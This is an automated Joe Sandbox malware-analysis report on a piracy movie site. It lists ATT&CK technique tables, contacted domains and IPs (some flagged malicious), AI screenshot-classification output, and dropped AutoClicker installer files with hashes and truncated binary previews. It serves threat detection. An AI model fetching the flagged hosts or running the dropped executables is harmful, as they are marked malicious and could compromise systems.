Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\Serilog.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\Serilog.Sinks.Console.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\Serilog.Sinks.File.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Text.Json.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Memory.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Buffers.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ValueTuple\v4.0_4.0.0.0__cc7b13ffcd2ddd51\System.ValueTuple.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Runtime.CompilerServices.Unsafe.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Text.Encodings.Web.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Program Files\AutoClicker\System.Numerics.Vectors.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files\AutoClicker\AutoClicker.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid Accounts11
Windows Management Instrumentation
1
Scripting
11
Process Injection
3
Masquerading
OS Credential Dumping13
Security Software Discovery
Remote ServicesData from Local System2
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/Job1
Registry Run Keys / Startup Folder
1
Registry Run Keys / Startup Folder
1
Disable or Modify Tools
LSASS Memory1
Process Discovery
Remote Desktop ProtocolData from Removable Media1
Ingress Tool Transfer
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAt1
DLL Side-Loading
1
DLL Side-Loading
62
Virtualization/Sandbox Evasion
Security Account Manager62
Virtualization/Sandbox Evasion
SMB/Windows Admin SharesData from Network Shared Drive2
Non-Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
Process Injection
NTDS1
Application Window Discovery
Distributed Component Object ModelInput Capture3
Application Layer Protocol
Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
DLL Side-Loading
LSA Secrets2
System Owner/User Discovery
SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials1
File and Directory Discovery
VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSync22
System Information Discovery
Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
http://www.5movierulz.mom0%VirustotalBrowse
SourceDetectionScannerLabelLink
C:\Program Files\AutoClicker\AutoClicker.exe (copy)0%ReversingLabs
C:\Program Files\AutoClicker\CommonServiceLocator.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\Microsoft.Bcl.AsyncInterfaces.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\Microsoft.Practices.Prism.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\Serilog.Sinks.Console.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\Serilog.Sinks.File.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\Serilog.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\System.Buffers.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\System.Memory.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\System.Numerics.Vectors.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\System.Runtime.CompilerServices.Unsafe.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\System.Text.Encodings.Web.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\System.Text.Json.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\System.Threading.Tasks.Extensions.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\System.ValueTuple.dll (copy)0%ReversingLabs
C:\Program Files\AutoClicker\System.Windows.Interactivity.dll (copy)0%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp5%ReversingLabs
C:\Users\user\AppData\Local\Temp\is-995L5.tmp\_isetup\_setup64.tmp0%ReversingLabs
No Antivirus matches
SourceDetectionScannerLabelLink
www.google.com0%VirustotalBrowse
acscdn.com1%VirustotalBrowse
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
us.boxthis.xyz
31.204.132.207
truetrue
    unknown
    t.ocmhood.com
    104.26.7.228
    truefalse
      unknown
      url.giveaff.com
      54.196.173.211
      truefalse
        unknown
        pubtrky.com
        104.21.8.108
        truefalse
          unknown
          mobile-gtalk.l.google.com
          142.250.110.188
          truefalse
            unknown
            acscdn.com
            188.114.96.3
            truefalseunknown
            cap.affiliatrack.com
            104.21.37.234
            truefalse
              unknown
              youradexchange.com
              104.21.91.188
              truefalse
                unknown
                p.awesomefa.com
                18.173.205.6
                truefalse
                  unknown
                  plus.affflow.com
                  172.67.141.52
                  truefalse
                    unknown
                    www.google.com
                    142.250.186.36
                    truefalseunknown
                    ny-feed.rtbadsmenetwork.com
                    172.67.195.2
                    truefalse
                      unknown
                      www.5movierulz.mom
                      104.21.63.53
                      truefalse
                        unknown
                        utilitysafe-view.info
                        172.67.134.219
                        truefalse
                          unknown
                          ny-t.rtbadsmenetwork.com
                          104.21.60.90
                          truefalse
                            unknown
                            android.l.google.com
                            142.250.185.110
                            truefalse
                              unknown
                              track.starmobmedia.com
                              23.111.151.106
                              truefalse
                                unknown
                                a.nel.cloudflare.com
                                35.190.80.1
                                truefalse
                                  unknown
                                  cdn.adx1.com
                                  109.200.199.111
                                  truefalse
                                    unknown
                                    github.com
                                    140.82.121.3
                                    truefalse
                                      unknown
                                      raw.githubusercontent.com
                                      185.199.110.133
                                      truefalse
                                        unknown
                                        t.rtbadshubmy.com
                                        104.21.76.3
                                        truefalse
                                          unknown
                                          sdk.ocmhood.com
                                          172.67.72.9
                                          truefalse
                                            unknown
                                            syncfreeuberthe-file.top
                                            188.114.97.3
                                            truefalse
                                              unknown
                                              ssventp.com
                                              18.245.46.34
                                              truefalse
                                                unknown
                                                e.autocclick.com
                                                3.161.82.109
                                                truefalse
                                                  unknown
                                                  mode.heptix.net
                                                  172.67.214.25
                                                  truefalse
                                                    unknown
                                                    us.wenga.xyz
                                                    109.200.209.144
                                                    truetrue
                                                      unknown
                                                      feed.rtbadshubmy.com
                                                      172.67.184.145
                                                      truefalse
                                                        unknown
                                                        reloadsreviews.top
                                                        104.21.29.251
                                                        truefalse
                                                          unknown
                                                          cdn.ocmtag.com
                                                          188.114.97.3
                                                          truefalse
                                                            unknown
                                                            cdn.ocmhood.com
                                                            104.26.6.228
                                                            truefalse
                                                              unknown
                                                              cdn.amnew.net
                                                              unknown
                                                              unknownfalse
                                                                unknown
                                                                NameMaliciousAntivirus DetectionReputation
                                                                http://www.5movierulz.mom/false
                                                                  unknown
                                                                  https://reloadsreviews.top/XUDfxjuxZ9drpIGAH7ZoIeLtrnNIQEq00hsXKpMlE30/?cid=ZxYR5l0kMgcAGXZ4AA9q0wBVNZAAAAAA&sid=81969&s=0.001000false
                                                                    unknown
                                                                    https://www.5movierulz.mom/false
                                                                      unknown
                                                                      https://syncfreeuberthe-file.top/hTECdNI_CXQCZ4NZwjDnQiy61ZmYwMsaU6UD7OMil6M/?cid=80914XzDr25J06&sid=394_NTI0false
                                                                        unknown
                                                                        • No. of IPs < 25%
                                                                        • 25% < No. of IPs < 50%
                                                                        • 50% < No. of IPs < 75%
                                                                        • 75% < No. of IPs
                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                        172.67.214.25
                                                                        mode.heptix.netUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        142.250.185.206
                                                                        unknownUnited States
                                                                        15169GOOGLEUSfalse
                                                                        2.16.164.105
                                                                        unknownEuropean Union
                                                                        20940AKAMAI-ASN1EUfalse
                                                                        142.250.74.200
                                                                        unknownUnited States
                                                                        15169GOOGLEUSfalse
                                                                        104.21.60.90
                                                                        ny-t.rtbadsmenetwork.comUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        23.111.151.106
                                                                        track.starmobmedia.comUnited States
                                                                        29802HVC-ASUSfalse
                                                                        54.196.173.211
                                                                        url.giveaff.comUnited States
                                                                        14618AMAZON-AESUSfalse
                                                                        142.250.181.234
                                                                        unknownUnited States
                                                                        15169GOOGLEUSfalse
                                                                        104.26.7.228
                                                                        t.ocmhood.comUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        172.67.195.2
                                                                        ny-feed.rtbadsmenetwork.comUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        109.200.209.144
                                                                        us.wenga.xyzNetherlands
                                                                        49544I3DNETNLtrue
                                                                        142.250.110.188
                                                                        mobile-gtalk.l.google.comUnited States
                                                                        15169GOOGLEUSfalse
                                                                        172.67.169.246
                                                                        unknownUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        172.67.141.52
                                                                        plus.affflow.comUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        104.21.29.251
                                                                        reloadsreviews.topUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        142.250.186.131
                                                                        unknownUnited States
                                                                        15169GOOGLEUSfalse
                                                                        35.190.80.1
                                                                        a.nel.cloudflare.comUnited States
                                                                        15169GOOGLEUSfalse
                                                                        142.250.184.206
                                                                        unknownUnited States
                                                                        15169GOOGLEUSfalse
                                                                        104.21.37.234
                                                                        cap.affiliatrack.comUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        104.21.91.188
                                                                        youradexchange.comUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        185.199.110.133
                                                                        raw.githubusercontent.comNetherlands
                                                                        54113FASTLYUSfalse
                                                                        104.26.6.228
                                                                        cdn.ocmhood.comUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        142.250.186.36
                                                                        www.google.comUnited States
                                                                        15169GOOGLEUSfalse
                                                                        104.21.8.108
                                                                        pubtrky.comUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        172.67.134.219
                                                                        utilitysafe-view.infoUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        104.21.76.3
                                                                        t.rtbadshubmy.comUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        142.250.185.110
                                                                        android.l.google.comUnited States
                                                                        15169GOOGLEUSfalse
                                                                        140.82.121.3
                                                                        github.comUnited States
                                                                        36459GITHUBUSfalse
                                                                        104.18.21.226
                                                                        unknownUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        104.21.63.53
                                                                        www.5movierulz.momUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        142.250.186.106
                                                                        unknownUnited States
                                                                        15169GOOGLEUSfalse
                                                                        18.173.205.6
                                                                        p.awesomefa.comUnited States
                                                                        3MIT-GATEWAYSUSfalse
                                                                        109.200.199.111
                                                                        cdn.adx1.comNetherlands
                                                                        49544I3DNETNLfalse
                                                                        239.255.255.250
                                                                        unknownReserved
                                                                        unknownunknownfalse
                                                                        188.114.97.3
                                                                        syncfreeuberthe-file.topEuropean Union
                                                                        13335CLOUDFLARENETUSfalse
                                                                        3.161.82.109
                                                                        e.autocclick.comUnited States
                                                                        16509AMAZON-02USfalse
                                                                        188.114.96.3
                                                                        acscdn.comEuropean Union
                                                                        13335CLOUDFLARENETUSfalse
                                                                        142.250.185.195
                                                                        unknownUnited States
                                                                        15169GOOGLEUSfalse
                                                                        64.233.184.84
                                                                        unknownUnited States
                                                                        15169GOOGLEUSfalse
                                                                        172.67.184.145
                                                                        feed.rtbadshubmy.comUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        31.204.132.207
                                                                        us.boxthis.xyzNetherlands
                                                                        49544I3DNETNLtrue
                                                                        142.250.186.40
                                                                        unknownUnited States
                                                                        15169GOOGLEUSfalse
                                                                        172.217.16.196
                                                                        unknownUnited States
                                                                        15169GOOGLEUSfalse
                                                                        172.67.72.9
                                                                        sdk.ocmhood.comUnited States
                                                                        13335CLOUDFLARENETUSfalse
                                                                        18.245.46.34
                                                                        ssventp.comUnited States
                                                                        16509AMAZON-02USfalse
                                                                        IP
                                                                        192.168.2.16
                                                                        Joe Sandbox version:41.0.0 Charoite
                                                                        Analysis ID:1538455
                                                                        Start date and time:2024-10-21 10:32:42 +02:00
                                                                        Joe Sandbox product:CloudBasic
                                                                        Overall analysis duration:
                                                                        Hypervisor based Inspection enabled:false
                                                                        Report type:full
                                                                        Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                                                        Sample URL:http://www.5movierulz.mom
                                                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                        Number of analysed new started processes analysed:22
                                                                        Number of new started drivers analysed:0
                                                                        Number of existing processes analysed:0
                                                                        Number of existing drivers analysed:0
                                                                        Number of injected processes analysed:0
                                                                        Technologies:
                                                                        • EGA enabled
                                                                        Analysis Mode:stream
                                                                        Analysis stop reason:Timeout
                                                                        Detection:MAL
                                                                        Classification:mal48.troj.evad.win@43/120@109/322
                                                                        • Exclude process from analysis (whitelisted): svchost.exe
                                                                        • Excluded IPs from analysis (whitelisted): 142.250.186.131, 142.250.185.206, 64.233.184.84, 34.104.35.123, 142.250.186.40, 2.19.126.163, 142.250.74.200, 142.250.185.110
                                                                        • Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, www.googletagmanager.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, www.google-analytics.com
                                                                        • Not all processes where analyzed, report is missing behavior information
                                                                        • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                                                        • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                        • Report size getting too big, too many NtSetInformationFile calls found.
                                                                        • VT rate limit hit for: http://www.5movierulz.mom/
                                                                        • VT rate limit hit for: www.5movierulz.mom
                                                                        InputOutput
                                                                        URL: https://www.5movierulz.mom/ Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "contains_trigger_text": true,
                                                                          "trigger_text": "Bookmark Us or Use Full 5Movierulz.skin url Download Movierulz App and don't search us on google/bing",
                                                                          "prominent_button_name": "unknown",
                                                                          "text_input_field_labels": "unknown",
                                                                          "pdf_icon_visible": false,
                                                                          "has_visible_captcha": false,
                                                                          "has_urgent_text": true,
                                                                          "has_visible_qrcode": false
                                                                        }
                                                                        URL: https://www.5movierulz.mom/ Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "contains_trigger_text": true,
                                                                          "trigger_text": "Bookmark Us or Use Full 5Movierulz.skin url Download Movierulz App and don't search us on google/bing",
                                                                          "prominent_button_name": "unknown",
                                                                          "text_input_field_labels": "unknown",
                                                                          "pdf_icon_visible": false,
                                                                          "has_visible_captcha": false,
                                                                          "has_urgent_text": false,
                                                                          "has_visible_qrcode": false
                                                                        }
                                                                        URL: https://www.5movierulz.mom/ Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "brands": [
                                                                            "MovieRulz"
                                                                          ]
                                                                        }
                                                                        URL: https://www.5movierulz.mom/ Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "brands": [
                                                                            "Movierluz",
                                                                            "Movierluz App"
                                                                          ]
                                                                        }
                                                                        URL: https://syncfreeuberthe-file.top/hTECdNI_CXQCZ4NZwjDnQiy61ZmYwMsaU6UD7OMil6M/?cid=80914XzDr25J06&sid=394_NTI0 Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "contains_trigger_text": true,
                                                                          "trigger_text": "Click \"Allow\" if you are not a robot",
                                                                          "prominent_button_name": "Allow",
                                                                          "text_input_field_labels": "unknown",
                                                                          "pdf_icon_visible": false,
                                                                          "has_visible_captcha": true,
                                                                          "has_urgent_text": false,
                                                                          "has_visible_qrcode": false
                                                                        }
                                                                        URL: https://syncfreeuberthe-file.top/hTECdNI_CXQCZ4NZwjDnQiy61ZmYwMsaU6UD7OMil6M/?cid=80914XzDr25J06&sid=394_NTI0 Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "brands": []
                                                                        }
                                                                        URL: https://reloadsreviews.top/XUDfxjuxZ9drpIGAH7ZoIeLtrnNIQEq00hsXKpMlE30/?cid=ZxYR5l0kMgcAGXZ4AA9q0wBVNZAAAAAA&sid=81969&s=0.001000 Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "contains_trigger_text": true,
                                                                          "trigger_text": "Verify you are human",
                                                                          "prominent_button_name": "Cloudflare Privacy & Terms",
                                                                          "text_input_field_labels": "unknown",
                                                                          "pdf_icon_visible": false,
                                                                          "has_visible_captcha": true,
                                                                          "has_urgent_text": false,
                                                                          "has_visible_qrcode": false
                                                                        }
                                                                        URL: https://reloadsreviews.top/XUDfxjuxZ9drpIGAH7ZoIeLtrnNIQEq00hsXKpMlE30/?cid=ZxYR5l0kMgcAGXZ4AA9q0wBVNZAAAAAA&sid=81969&s=0.001000 Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "contains_trigger_text": true,
                                                                          "trigger_text": "Completing the CAPTCHA proves you are a human and gives you temporary access to the web property.",
                                                                          "prominent_button_name": "Allow",
                                                                          "text_input_field_labels": [
                                                                            "captcha"
                                                                          ],
                                                                          "pdf_icon_visible": false,
                                                                          "has_visible_captcha": true,
                                                                          "has_urgent_text": true,
                                                                          "has_visible_qrcode": false
                                                                        }
                                                                        URL: https://reloadsreviews.top/XUDfxjuxZ9drpIGAH7ZoIeLtrnNIQEq00hsXKpMlE30/?cid=ZxYR5l0kMgcAGXZ4AA9q0wBVNZAAAAAA&sid=81969&s=0.001000 Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "brands": [
                                                                            "Cloudflare"
                                                                          ]
                                                                        }
                                                                        URL: https://reloadsreviews.top/XUDfxjuxZ9drpIGAH7ZoIeLtrnNIQEq00hsXKpMlE30/?cid=ZxYR5l0kMgcAGXZ4AA9q0wBVNZAAAAAA&sid=81969&s=0.001000 Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "brands": [
                                                                            "Cloudflare"
                                                                          ]
                                                                        }
                                                                        URL: https://ssventp.com/download/U1F6a3JwNXBaaG9OZ21pMkNVSnd1R0pmK09DNllOZExPNlVINnk2TFBsb2V4bnF1Y09vdmQ4WFAyYmRobHBEMkdyQTA0Qmx6WEhSYldIQ20zV1F1OHhVeEFISE43d2J2QlAwTkxNYnFGRm1jdWdiZUpKeG45UEhIUHorb0EyUFBYMGVpb3JYKzFnZnVlV2RJKzd0WkxzVXVyejdFbWdZOVpTQkRlN0xJYn Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "contains_trigger_text": true,
                                                                          "trigger_text": "Your file is ready",
                                                                          "prominent_button_name": "Download",
                                                                          "text_input_field_labels": "unknown",
                                                                          "pdf_icon_visible": false,
                                                                          "has_visible_captcha": false,
                                                                          "has_urgent_text": false,
                                                                          "has_visible_qrcode": false
                                                                        }
                                                                        URL: https://ssventp.com/download/U1F6a3JwNXBaaG9OZ21pMkNVSnd1R0pmK09DNllOZExPNlVINnk2TFBsb2V4bnF1Y09vdmQ4WFAyYmRobHBEMkdyQTA0Qmx6WEhSYldIQ20zV1F1OHhVeEFISE43d2J2QlAwTkxNYnFGRm1jdWdiZUpKeG45UEhIUHorb0EyUFBYMGVpb3JYKzFnZnVlV2RJKzd0WkxzVXVyejdFbWdZOVpTQkRlN0xJYn Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "contains_trigger_text": true,
                                                                          "trigger_text": "Your file is ready",
                                                                          "prominent_button_name": "Downloading your file",
                                                                          "text_input_field_labels": "unknown",
                                                                          "pdf_icon_visible": false,
                                                                          "has_visible_captcha": false,
                                                                          "has_urgent_text": false,
                                                                          "has_visible_qrcode": false
                                                                        }
                                                                        URL: https://ssventp.com/download/U1F6a3JwNXBaaG9OZ21pMkNVSnd1R0pmK09DNllOZExPNlVINnk2TFBsb2V4bnF1Y09vdmQ4WFAyYmRobHBEMkdyQTA0Qmx6WEhSYldIQ20zV1F1OHhVeEFISE43d2J2QlAwTkxNYnFGRm1jdWdiZUpKeG45UEhIUHorb0EyUFBYMGVpb3JYKzFnZnVlV2RJKzd0WkxzVXVyejdFbWdZOVpTQkRlN0xJYn Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "brands": []
                                                                        }
                                                                        URL: https://ssventp.com/download/U1F6a3JwNXBaaG9OZ21pMkNVSnd1R0pmK09DNllOZExPNlVINnk2TFBsb2V4bnF1Y09vdmQ4WFAyYmRobHBEMkdyQTA0Qmx6WEhSYldIQ20zV1F1OHhVeEFISE43d2J2QlAwTkxNYnFGRm1jdWdiZUpKeG45UEhIUHorb0EyUFBYMGVpb3JYKzFnZnVlV2RJKzd0WkxzVXVyejdFbWdZOVpTQkRlN0xJYn Model: claude-3-haiku-20240307
                                                                        ```json
                                                                        {
                                                                          "brands": []
                                                                        }
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:A8A58F5BC41307844089EC33E2439A2C
                                                                        SHA1:8ECCD6B3053A0CF3F4E1E39EC66AFC1EA8C62F74
                                                                        SHA-256:631AB5D05F6AEE6CD78FCA2FBE7507E1D701F37B44758D339DF550130129AEEB
                                                                        SHA-512:ECAC80F44CB85332BE180CAC418EEF521D5C634341989434712D5E52FD9094C463845FF7DD3FCF7B0AE240899A75C00530ADC6BB1B77C201929FC4EE5A8D3B3F
                                                                        Malicious:true
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f;.f.........."...0.............N7... ...@....@.. ..............................D.....`..................................6..O....@...............8..0)...`.......5............................................... ............... ..H............text...T.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......6..............@..B................07......H........[.. ...........,u................................................{....*..{....*..{....*..{ ...*..(!.....}......}......}.......} ...*....0..q........u........d.,_("....{.....{....o#...,G($....{.....{....o%...,/(&....{.....{....o'...,.((....{ ....{ ...o)...*.*.*....0..b....... vC.. )UU.Z("....{....o*...X )UU.Z($....{....o+...X )UU.Z(&....{....o,...X )UU.Z((....{ ...o-...X*...0...........r...p......%..{.......%q.........-.&.+.......o.....%..{.......%q.........-.&.+.....
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:CCF2419187B9583166F17A82971D6EC5
                                                                        SHA1:3BEBB957E0544D7E745823CB4D2B3B9FFFAD8440
                                                                        SHA-256:A52A88FEA8CBFC4465BFA4D520879C29C5F2366502DB608F490B42A45658EE52
                                                                        SHA-512:843EF6024919683FBC71BDFC6910863EEB0D4FC0AFE2C103A7F525E60EF2C7503B096074FF3EA4E0E32AD44DEF3D438E129F4958BB1ED147C759CD12A1ACE1EB
                                                                        Malicious:true
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup> .. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />.. </startup>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-5.0.0.0" newVersion="5.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>..
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:MSVC program database ver 7.00, 512*275 bytes
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:86EFB657B1A0974BCEA59B289E6BDD0A
                                                                        SHA1:FDC986C355D01DB01AEBA0D746AA60488292D6D6
                                                                        SHA-256:A286F34B00E0264E62DB9F26DC2BEB416595AE77A2E41492166FDA93DE2E6309
                                                                        SHA-512:10856A10B06BB488E28FB860F4EC726F378961E978DE83D61FA148C01F67581E917B56D89D0954B33BC21111E215FB14449C0B149C0F01E12DAC4A8F051B7FA2
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:Microsoft C/C++ MSF 7.00...DS...............t...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):89
                                                                        Entropy (8bit):4.888380696166569
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:86125FAFCF3A7C569C9629E77D4F1CAA
                                                                        SHA1:6AA1981E114F00D13D2109ECD45145DE65DD895E
                                                                        SHA-256:C559FD909C052BB65C009129CA29AE6CC2023F8446E59ED4BEA92E2A35865446
                                                                        SHA-512:26D64B9602038495AAEE61C22BD81CA1D3BDC1F23A38D6C50EA42018EF3DECADFCCFB0B882931FA0658A7FEB5137CDF4CD6BD62CAB19A525E2389753AACEEAE6
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:@echo off..cd /d "C:\Program Files\AutoClicker"..start AutoClicker.exe /update..EXIT /b 0
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:E5F3B59AB9FD9157857D69B3D9611D0B
                                                                        SHA1:057DB8A55C224569A192F24C88F7CF0AF02DD9BD
                                                                        SHA-256:8951F1B70412949C6AC5F5A73441E689D954522EE199F17F56C97D3C90908AFD
                                                                        SHA-512:425261A0F0487A8B7F2C99CA41ADB4535C90A561792076A67C9FAD7DD9FAA30989A64D59E4B281AEFE5943BAE0B19B5B381B6A7E9ED265836A726292D8EDC623
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{..........." ..0.............6:... ...@....... ..............................pV....`..................................9..O....@.......................`.......9..T............................................ ............... ..H............text...<.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................:......H.......<#..D....................8........................................(....*"..(....*&...(....*v(....-.r...ps....z~....o....*.......*&~.......*&...o....*&...o....*..0.............o............o.....s....z.*...................0............o...........o.....s....z.*................^......(.....o.........*^......(.....o.........*>..s....%.} ...*..."...%.rM..p.%..o!....%.r...p.%...%.r...p.("...*Fr...p.o!...(#...*..($...*f.($.....}%....(&...}'...*...0...........{%...........3.
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:1EE251645B8A54A116D6D06C83A2BD85
                                                                        SHA1:5DBF1534FFBFF016CC45559EB5EFF3DC4252A522
                                                                        SHA-256:075CE79E84041137C78885B3738C1B5A03547D0AE2A79916E844196A9D0EC1DB
